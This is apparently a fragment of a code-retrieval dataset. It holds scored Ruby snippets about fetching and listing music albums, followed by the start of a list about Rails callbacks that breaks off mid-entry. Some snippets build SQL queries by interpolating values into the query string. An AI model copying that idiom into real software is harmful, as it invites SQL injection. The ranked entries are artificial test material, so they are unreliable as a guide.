"95f76a8947b4f00fe85b8a4333b939c6", "score": "0.65932137", "text": "def top_albums(period=:overall)\n call('user.gettopalbums', :topalbums, Album, {:user => @name, :period => period})\n end", "title": "" }, { "docid": "f00a551ae96b1a6343b29f280aaddb16", "score": "0.65752524", "text": "def albums\n @albums = begin\n facebook_albums(current_user)\n rescue Koala::Facebook::APIError => e\n raise e unless e.message =~ /OAuthException/\n @reauthorization_needed = true\n []\n end\n render :partial => 'facebook/albums'\n end", "title": "" }, { "docid": "5a4112b6cf6672b294d340b6eac2bf37", "score": "0.65691435", "text": "def albums()\n sql = \"SELECT * FROM albums WHERE artist_id = $1;\"\n values = [@id]\n albums = SqlRunner.run(sql, values)\n result = albums.map{|album| Album.new(album)}\n return result\n end", "title": "" }, { "docid": "506c55ef1310bb4aa4d3f7e292c56c60", "score": "0.65683126", "text": "def listAlbums(data)\n\nend", "title": "" }, { "docid": "5b46b7bad9adaa7ffb6af5109705720e", "score": "0.6556438", "text": "def album\n fetch('pearl_jam.albums')\n end", "title": "" }, { "docid": "c5234540b2d45aa98f18f91047b00b5c", "score": "0.6543422", "text": "def get_top_albums( params )\n xml = LastFM.get( \"artist.getTopAlbums\", params )\n xml.find('topalbums/album').map do |album|\n LastFM::Album.from_xml( album )\n end\n end", "title": "" }, { "docid": "a6e75f063f9cceabbe1a3daae3d00a0a", "score": "0.65429974", "text": "def albums( params={} )\n albums = get_connections(\"albums\", params)\n return map_connections albums, :to => Facebook::Graph::Album\n end", "title": "" }, { "docid": "a6e75f063f9cceabbe1a3daae3d00a0a", "score": "0.65429974", "text": "def albums( params={} )\n albums = get_connections(\"albums\", params)\n return map_connections albums, :to => Facebook::Graph::Album\n end", "title": "" }, { "docid": "158382d7ad13ac221963fd568f5e7964", "score": "0.65330166", "text": "def library(page = 0)\n songs = []\n resp = @client.request('userGetSongsInLibrary',\n userID: @id,\n page: page.to_s)\n songs = resp['songs'].map do |song|\n Song.new song\n end if resp.key?('songs')\n songs\n end", "title": "" }, { "docid": "1109249fe4e55ceb63d93264b445c527", "score": "0.6528999", "text": "def album\n fetch('music.albums')\n end", "title": "" }, { "docid": "bc14c74a91ef4ce0581b81ae22d277d7", "score": "0.65239936", "text": "def find_all_albums()\n return Album.find_albums_by_artist(@id)\n end", "title": "" }, { "docid": "da773ddc6ae7ebc81b98586a01aa2d52", "score": "0.6512153", "text": "def album_tracks(album)\r\n artist_album = RSpotify::Album.search(album).first\r\n artist_album = artist_album.tracks\r\n artist_album.collect do |track| \r\n track.name\r\n end\r\n # #puts artists\r\n\r\n end", "title": "" }, { "docid": "0996666771371183a08680d56a491a76", "score": "0.648493", "text": "def albums()\n sql = \"SELECT * FROM albums WHERE artist_id = $1\"\n values = [@id]\n results = SqlRunner.run(sql, values)\n return results.map{|album| Album.new(album)}\n end", "title": "" }, { "docid": "eb33c2a575d019a4dc06f765f2c771de", "score": "0.6475205", "text": "def albums()\n sql = \"SELECT * FROM albums WHERE artist_id = $1\"\n values = [@id]\n results = SqlRunner.run(sql,values)\n albums = results.map{|album| Album.new(album)}\n return albums\n end", "title": "" }, { "docid": "61cecc1516155490335e86ea4bad0ae3", "score": "0.645079", "text": "def index\n @albums = apply_scopes(Album).all\n end", "title": "" }, { "docid": "026537f48256a33993c3a3534277e494", "score": "0.64404553", "text": "def albums\n @user=User.find_by_name(params[:id]) \n if !@youser_known\n render(:layout => false)\n return\n end\n terms=@user.terms\n ids=terms.collect{|term|term.id}.join(\",\")\n @items = Item.find_by_sql <<-SQL\n select * from items \n where term_id in (#{ids})\n and medium_image_url is not null and length(medium_image_url)>0\n and artist is not null and length(artist)>0\n group by title\n order by artist asc,release_date desc\n SQL\n end", "title": "" }, { "docid": "ac5a5d499dfeadc2a59711e5422e9d40", "score": "0.6437099", "text": "def user_albums \n\t\tself.albums\n\tend", "title": "" }, { "docid": "f2449ce0a6743844d44ff79d3d6797d2", "score": "0.6420425", "text": "def photo_in_album\n\t\tgraph = Koala::Facebook::API.new(current_user.oauth_token)\n\t\t@albums = graph.get_connections('me', 'albums', fields: \"id,name\")\n\tend", "title": "" }, { "docid": "930b5db5e96e6045adfc4c375a7a2515", "score": "0.6409281", "text": "def fetch_facebook_albums\n @graph = self.get_graph_object\n profile = @graph.get_object(\"me\")\n albums = @graph.get_connections(\"me\", \"albums\") \n return albums \n end", "title": "" }, { "docid": "c46c40d6e8da3b2f0618008cbdcfc113", "score": "0.6406165", "text": "def get_user_library_songs limit, page\n params = { 'limit' => limit, 'page' => page }\n send_request 'getUserLibrarySongs', params\n end", "title": "" }, { "docid": "36903453c7179ac3cbb206cffc59401d", "score": "0.6394997", "text": "def get_albums\n albums = Artist.find(params[:id]).albums.select(:id, :name, :image, :spotify_url, :total_tracks)\n if !albums.empty?\n render json: {status: 'SUCCESS', data: albums}, status: :ok\n else\n render json: {status: 'FAILED', data: {name: 'Artist not found.'}}, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "7708609c13e932ad0a95861ce66b3a49", "score": "0.6385057", "text": "def load_my_albums\n my_album_loader.load_albums\n end", "title": "" }, { "docid": "3f1aac7858c84f45d7cdd1afded1052d", "score": "0.63698286", "text": "def make_album_library_with_tracks\n a = ogg(A, {artist: \"Alice\", tracknumber: 1, title: \"This song\",\n album: \"This album\", date: \"2000\"})\n b = ogg(B, {artist: \"Alice\", tracknumber: 2, title: \"That song\",\n album: \"This album\", date: \"2000\"})\n c = ogg(C, {artist: \"Alice\", tracknumber: 3, title: \"Another song\",\n album: \"This album\", date: \"2000\"})\n return library(DIR, a, b, c), a, b, c\n end", "title": "" }, { "docid": "a11b42493fcd58194bc590e20107c82c", "score": "0.6330814", "text": "def album\n fetch('rush.albums')\n end", "title": "" }, { "docid": "42266ee45595c6b677037c4324742250", "score": "0.63174856", "text": "def index\n @albums=current_user.albums.all\n end", "title": "" }, { "docid": "29569f687b7bbd973ad44a5c742947aa", "score": "0.63072824", "text": "def show\n # @albums = current_user.albums.list\n end", "title": "" }, { "docid": "b6b268080647b456afb93e781e42f215", "score": "0.63048184", "text": "def data\n albums.map do |album|\n [\n album.artist,\n album.album,\n album.title,\n album.year,\n album.record_condition,\n album.id\n ]\n end\n end", "title": "" }, { "docid": "dce3b6cf2344a5872214a2f0575ff41e", "score": "0.62747115", "text": "def index\n @albums = Album.where(:user_id => @user.id)\n end", "title": "" }, { "docid": "4e5129d2e6bb69d9488b1ee417de2146", "score": "0.6249924", "text": "def get_albums(user, zz_api)\n # determine if we should be fetching the view based on public or private data\n user_is_me = current_user?(user)\n private_view = user_is_me || (current_user && current_user.support_hero?)\n public = !private_view\n\n # preload the expected cache data\n loader = Cache::Album::Manager.shared.make_loader(user, public)\n loader.pre_fetch_albums\n\n # call the following methods to get the json paths for my_albums, my_liked_albums, etc\n # The url paths returned are based on whether we are viewing ourselves or somebody else (based on the public flag)\n #\n # The paths are relative to the host so start with /service/...\n session_loader = nil\n\n # When showing the view for a user who is not the current user we\n # fetch the public information. However, if we have a current user\n # and that user likes and can see one or more of the other users\n # albums we must merge the view on the client by checking to see\n # if any of the albums the current user likes belong to the viewed user\n # we do this by returning the url to fetch liked_albums for the session\n # user\n if public && current_user\n # ok, we have a valid session user and we are viewing somebody else so pull in our liked_albums\n session_loader = Cache::Album::Manager.shared.make_loader(current_user, false)\n session_loader.pre_fetch_albums\n end\n\n @loader = loader\n @session_loader = session_loader\n end", "title": "" }, { "docid": "76ffd6f72fc1d0a2c2990c904a8cfeff", "score": "0.6248223", "text": "def album(album_id)\n action = \"http://music.163.com/api/album/#{album_id}\"\n data = http_request('GET', action)\n\n data['album']['songs']\n end", "title": "" }, { "docid": "0d4929418968c5351593c2b481cceee7", "score": "0.6246583", "text": "def number_of_albums\n\t\t@albums.length\n\tend", "title": "" }, { "docid": "c1799db85e061bcc516fc47037d59659", "score": "0.62463677", "text": "def library(page=0)\n resp = @client.request('userGetSongsInLibrary', {:userID => @id, :page => page.to_s})['songs']\n resp.map { |s| Song.new(s) }\n end", "title": "" }, { "docid": "a039e4183fe9ba50e33954cf93a5a98f", "score": "0.62420386", "text": "def albums\n @albums = Album.find(:all, :conditions => 'compilation = \"f\"', :order => \"albumName\").map {|a| [a.albumName, a.id]}\n @state = currentState\n end", "title": "" }, { "docid": "bc3564f56690cb32c67b2cfdb77093f7", "score": "0.62257147", "text": "def get_albums(artist)\n LastFM::Api::Artist.get_top_albums(:artist => artist)\n rescue LastFM::LastFMError => e\n end", "title": "" }, { "docid": "cdcbe3896076dea9bf35f7603655feeb", "score": "0.62069404", "text": "def get_album_fields() \r\n @context.call_myspace_api(:albums_v9_album_fields)\r\n end", "title": "" }, { "docid": "85c8179d0e68fed72024eb6b172557a5", "score": "0.62032473", "text": "def get_albums( tracks )\n\n album_list = []\n\n # build hash of tracks with album name as key\n album_hash = Hash.new { |h,k| h[k] = [] }\n tracks.each do |track|\n album_hash[track.album] << track\n end\n\n # split the album tracks by track artist\n album_hash.each do |album_name, album_tracks|\n artist_hash = Hash.new { |h,k| h[k] = [] }\n album_tracks.each do |album_track|\n artist_hash[album_track.artist] << album_track\n end\n\n if album_tracks[0].compilation?\n album_list << Album.new( tracks: album_tracks)\n else\n artist_hash.each do |artist, tracks|\n album_list << Album.new( tracks: tracks)\n end\n end\n\n end\n\n return album_list\n end", "title": "" }, { "docid": "e77b08219e6db9e514ba630623a74c55", "score": "0.6198267", "text": "def facebook_album\n @user = User.find(params[:user_id])\n @graph = @user.get_graph_object\n @albums = @user.fetch_facebook_albums\n end", "title": "" }, { "docid": "08ca820c6cdb52b68e953872c599fea9", "score": "0.61971235", "text": "def load_albums\n if (self.json = cache_fetch).nil?\n # not found in the cache, need to call the database to fetch them\n if (public)\n albums = user.albums.where(\"privacy = 'public' AND completed_batch_count > 0\")\n else\n albums = user.albums\n end\n\n # add ourselves to the track set because we want to be\n # invalidated if our albums change\n # user_id, tracked_id, track_type\n user_id = user.id\n add_tracked_user(user_id, album_type)\n\n # and update the cache with the albums\n self.current_version = updated_cache_version if current_version == 0\n self.albums = albums_to_hash(albums)\n version_tracker.add([album_type, self.albums, current_version])\n end\n end", "title": "" }, { "docid": "93da17af5aa78a816d2098174bdefd7a", "score": "0.61883634", "text": "def getAlbumTracks(albumdata)\n\tif albumdata[\"error\"] == 6\n\telse\n\t\ttrackarray = albumdata[\"album\"][\"tracks\"][\"track\"]\n\t\tb = []\n\t\tz = 0\n\t\ttrackarray.each do |i|\n\t\t\tb.push(trackarray[z][\"name\"])\n\t\t z=z+1\n\t\tend\n\tend\n\treturn b\nend", "title": "" }, { "docid": "be08c69c1ea689d312937dcc5b5072f5", "score": "0.6170683", "text": "def find_albums\n album_ids =[]\n results = CONNECTION.execute(\"SELECT * FROM albums_artists WHERE artist_id = #{@id};\")\n results.each do |hash|\n album_ids << hash[\"album_id\"]\n end\n Album.find_many(album_ids)\n end", "title": "" }, { "docid": "427b163afe4a1b4e3b73614a651718e9", "score": "0.6162115", "text": "def albums\n object.albums.map { |album| AlbumAlbumableSerializer.new(album).serializable_hash }\n end", "title": "" }, { "docid": "8c201f19c55e1a4e5d32048b0923e671", "score": "0.61516255", "text": "def index\n @albums = Album.order(:sort).all\n @albumsT = Album.count\n end", "title": "" }, { "docid": "02a691b4ea25fa4e6348e643b5b449fb", "score": "0.6150261", "text": "def get_tracks_with_albums\n # your code here\nend", "title": "" }, { "docid": "6a7981f95e6599b67f88b7386c2722b5", "score": "0.61493707", "text": "def load_liked_users_albums\n liked_users_album_loader.load_albums\n end", "title": "" }, { "docid": "3ff2494d640aa6ca1e8c42b04ac1e2b9", "score": "0.6126777", "text": "def better_tracks_query\n # TODO: your code here\n\n albums = self\n .albums\n .select(\"albums.*, COUNT(*) AS tracks_count\")\n .joins(:tracks)\n .group(\"albums.id\")\n\n album_counts = {}\n albums.each do |album|\n album_counts[album.name] = album.tracks_count\n end\n\n album_counts\n end", "title": "" }, { "docid": "74c8c67df97648ac06fde4a2eb4da1eb", "score": "0.6124237", "text": "def albums_in_collection(start=nil,count=nil,sort=nil,query=nil)\n api.getAlbumsInCollection self,start,count,sort,query\n end", "title": "" }, { "docid": "29c46c3f8616743488dbe05c97b26e8e", "score": "0.6121198", "text": "def draw_albums albums\n\t\t# complete this code\n\t\tcount = albums.length\n\t\tartworks = Array.new\n\t\ti = 0\n\t\twhile i < count\n\t\t\talbum = albums[i]\n\t\t\tartwork = album.artwork\n\t\t\ttitle = album.title\n\t\t\tartist = album.artist\n\t\t\tartworks << artwork\n\t\t\t# draw_title(title)\n\t\t\t# draw_artist(artist)\n\t\t\t# tracks = album.tracks\n\t\t\t# draw_tracks(tracks)\n\t\t\ti += 1\n\t\tend\n\t\tdraw_artwork(artworks)\n\tend", "title": "" }, { "docid": "1306bf8fb635827d3814b71aaca685ee", "score": "0.611385", "text": "def index\n @public_albums = PublicAlbum.all\n end", "title": "" }, { "docid": "e59a6f4879a1ede8633efaa27c2b50a5", "score": "0.60987407", "text": "def index\n @picture_albums = current_user.picture_album\n end", "title": "" }, { "docid": "79f7fd4d6e4c7fb860520d3573078d74", "score": "0.6088251", "text": "def album_songs(id)\n doc = query('getAlbum.view', {:id => id})\n doc.elements.collect('subsonic-response/album/song') do |song|\n decorate_song(song.attributes)\n end\n end", "title": "" }, { "docid": "49297f9361ba3151912d04975464286d", "score": "0.6086735", "text": "def albums_by query\n id =\n case query\n when Integer then query\n when String then artists_hash[query]\n when Regexp\n artists.select { |a| a.name =~ query }.first.id rescue nil\n end\n\n return nil unless id\n\n fetch_albums search: { artist: id }\n end", "title": "" }, { "docid": "6e794141ba1c4e98840281679465855b", "score": "0.60855055", "text": "def index\n\t\t@music_albums = MusicAlbum.all\n\tend", "title": "" }, { "docid": "2a1db9d0a9fd52969d0c619cacf72127", "score": "0.6074274", "text": "def index\n @albums = Album.all\n @users = User.all\n @musicgroups = MusicGroup.all\n end", "title": "" }, { "docid": "cf6f57757e625f794c9699c34230af12", "score": "0.60718805", "text": "def albums_for_year (year)\n if @years.has_key?(year)\n @years[year]\n else\n []\n end\n end", "title": "" }, { "docid": "f4bea5038cfd535378c2faecc003bfc6", "score": "0.6067235", "text": "def add_albums_to_db(albums)\r\n\talbums_list = []\r\n\tif albums\r\n\t\tarr = albums[\"results\"][\"albummatches\"][\"album\"]\r\n\t\tarr.each do |album|\r\n\t\t\talbums_list << create_album(album[\"name\"],album[\"artist\"])\r\n\t\tend\r\n\tend\r\n\t\t# Returns a list of albums\r\n\t\treturn albums_list.uniq\r\n\tend", "title": "" }, { "docid": "dbf72bba200ee87fadf01e1da4319565", "score": "0.60612494", "text": "def index \n @albums = Album.all ## in the index page, this will show all albums that have been made\n end", "title": "" }, { "docid": "c6da7748eb6fd4f2960bcf940a6e34ee", "score": "0.6039254", "text": "def load_albums\n if (self.json = cache_fetch).nil?\n # not found in the cache, need to call the database to fetch them\n # we need to track all of them regardless of their current state because we\n # have to know of their existence so that when they do change to a visible\n # state we will know. This means we fetch all and track all but only put\n # the visible ones into the cache\n albums = user.liked_albums\n\n user_id = user.id\n # now build the list of ones we should put in the cache\n # don't put in ones that haven't been completed or belong to us\n # if someone is fetching our public view, only show public albums\n visible_albums = []\n albums.each do |album|\n next if (album.completed_batch_count == 0) || (user_id == album.user_id)\n visible_albums << album if public == false || (album.privacy == 'public')\n end\n\n # add all the albums to the tracker even\n # if we can't see it currently so we have\n # a chance to see it change\n # don't track our own albums that we like\n # since they should not show up\n albums.each do |album|\n add_tracked_album(album.id, album_type) unless album.user_id == user_id\n end\n # and add a user_id tracker for ourselves so we know if we like or unlike an album\n add_tracked_album_like_membership(user_id, album_type)\n\n # and update the cache with the albums\n self.current_version = updated_cache_version if current_version == 0\n self.albums = albums_to_hash(visible_albums)\n version_tracker.add([album_type, self.albums, current_version])\n end\n end", "title": "" }, { "docid": "3f21524e9122a7eb882c79fb73b48ec0", "score": "0.60380286", "text": "def album album_id\n perform_get(\"/me/albums/#{album_id}\", {})\n end", "title": "" }, { "docid": "bb50617e5623ecda0d1fc7d84e3c4f12", "score": "0.6033585", "text": "def tracklist\n tracks = Track.where({\"album_id\" => self.id})\n tracklist = {}\n track_number = 1\n\n tracks.each do |track|\n tracklist[track_number] = track.title\n track_number += 1\n end\n tracklist\n end", "title": "" }, { "docid": "a3508749eaeaf0bfd1b35893d45ceec9", "score": "0.60331136", "text": "def picasa_photos(album)\n uri = \"http://picasaweb.google.com/data/feed/api/user/\" +\n \"#{album[:user] || 'default'}/albumid/#{album[:id]}?kind=photo&imgmax=d\"\n\n feed = picasa_client.get(uri).to_xml\n photos = []\n feed.elements.each('entry') do |entry|\n next unless entry.elements['gphoto:id']\n next unless entry.elements['media:group']\n\n photo = { :id => entry.elements['gphoto:id'].text,\n :album_id => entry.elements['gphoto:albumid'].text,\n :title => entry.elements['title'].text }\n entry.elements['media:group'].elements.each('media:content') do |content|\n photo[:url] = content.attribute('url').value\n end\n photos << photo\n end\n photos\n end", "title": "" }, { "docid": "3d04a025ca7716247961864e542bf6cc", "score": "0.6003531", "text": "def parseJSONAlbums(body)\n\t\t\n\t\t@parsed = JSON.parse(@body)\n\t\t@releases = @parsed[\"metadata\"][\"release_group_list\"][\"release_group\"]\n\t\t\n\t\t@albums = Array.new() \n\t\t\n\t\t#force into array \n\t\tif !@releases.kind_of?(Array) then\n\t\t\t @releases = [@releases] \n\t\tend \n\t\t\n\t\t@releases.each do |release| \n\t\t\n\t\t\tunless release.nil? then \n\t\t\t\n\t\t\t\t#release-id\n\t\t\t\t@albumID = release[\"id\"]\n\t\t\t\t\n\t\t\t\t#album title\n\t\t\t\tunless release[\"title\"].nil? then \n\t\t\t\t\t@albumTitle = release[\"title\"]\n\t\t\t\tend\t\n\t\t\t\t\n\t\t\t\t#artist name\n\t\t\t\tif release[\"artist_credit\"][\"name_credit\"].kind_of?(Array) then \n\t\t\t\t\t@artistName = \"\"\n\t\t\t\t\trelease[\"artist_credit\"][\"name_credit\"].each do |oneArtist|\n\t\t\t\t\t\t@artistName += oneArtist[\"artist\"][\"name\"] + \", \"\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tunless release[\"artist_credit\"][\"name_credit\"][\"artist\"][\"name\"].nil? then\t\n\t\t\t\t\t\t@artistName = release[\"artist_credit\"][\"name_credit\"][\"artist\"][\"name\"] \n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t#genre\n\t\t\t\t@genre = \"\"\t\n\t\t\t\tunless release[\"tag_list\"].nil? then \n\t\t\t\t\t@releaseTags = release[\"tag_list\"][\"tag\"]\n\t\t\t\t\tif @releaseTags.kind_of?(Array) then \n\t\t\t\t\t\t@releaseTags.each do |releaseTag|\n\t\t\t\t\t\t\tunless releaseTag.nil? then \n\t\t\t\t\t\t\t\t@genre += releaseTag[\"name\"] + \" , \"\t\n\t\t\t\t\t\t\tend\t\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\t@genre += @releaseTags[\"name\"]\n\t\t\t\t\tend \n\t\t\t\t\t \n\t\t\t\tend \n\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t#album cover\n\t\t\t\t@uri = URI(MUSICBRAINZCOVERS+@albumID+\"/front\")\n\t\t\t\t@req = Net::HTTP::Get.new(@uri.request_uri)\n\t\t\t\t@req.add_field(\"User-Agent\",\"Mood Matcher/1.0 ( agism.job@gmail.com )\")\n\t\n\t\t\t\t@http = Net::HTTP.new(@uri.host)\n\t\t\t\t@res = @http.request(@req)\n\t\t\t\t@albumCover = @res.body[/http:.+\\.jpg/]\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t@albumEntry = { \"albumID\" => @albumID, \"name\" => @albumTitle, \"artist\" => @artistName, \"cover\" => @albumCover, \"genre\" => @genre }\n\t\t\t\tlogger.info \"Album Entry : \"+@albumEntry.to_s\n\t\t\t\t\n\t\t\t\tunless @albumTitle.nil? then\n\t\t\t\t\t@albums.push(@albumEntry)\n\t\t\t\tend\n\t\t\t\t\n\t\t\tend\t\n\t\t\t\n\t\tend \n\t\t#logger.info \"Albums : \"+@albums.to_s\n\t\treturn @albums\n\n\tend", "title": "" }, { "docid": "bb38cc36d339200470c4cf9a56cb88c8", "score": "0.5995675", "text": "def albums\n \t@artists = Artist.find(params[:id])\n albums = RSpotify::Album.search(@artists.name)\n \t@albums = albums.map do |s_albums|\n \tAlbum.new_from_spotify_album(s_albums)\n end\n render json: {data:@albums}\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "a21293abe013e24557a8858fa7054cf7", "score": "0.0", "text": "def set_video\n @video = Video.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60315156", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.6018921", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59215444", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.59146434", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.59146434", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.58982897", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58877826", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58877826", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58877826", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.58875746", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58776975", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5860271", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.5808841", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.5742892", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.5733006", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.5718553", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5704972", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56959176", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56703776", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651533", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5649987", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.5641134", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.56252027", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608981", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5600116", "text": "def execute_callbacks; end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598888", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589137", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.55629355", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.55629355", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.5506731", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504886", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.54705054", "text": "def on_setup(&block); end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.54656947", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.5449697", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.5444484", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5443436", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.5418371", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.54093206", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.54093206", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5403447", "text": "def post_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.53975695", "text": "def before_setup; end", "title": "" }, { "docid": 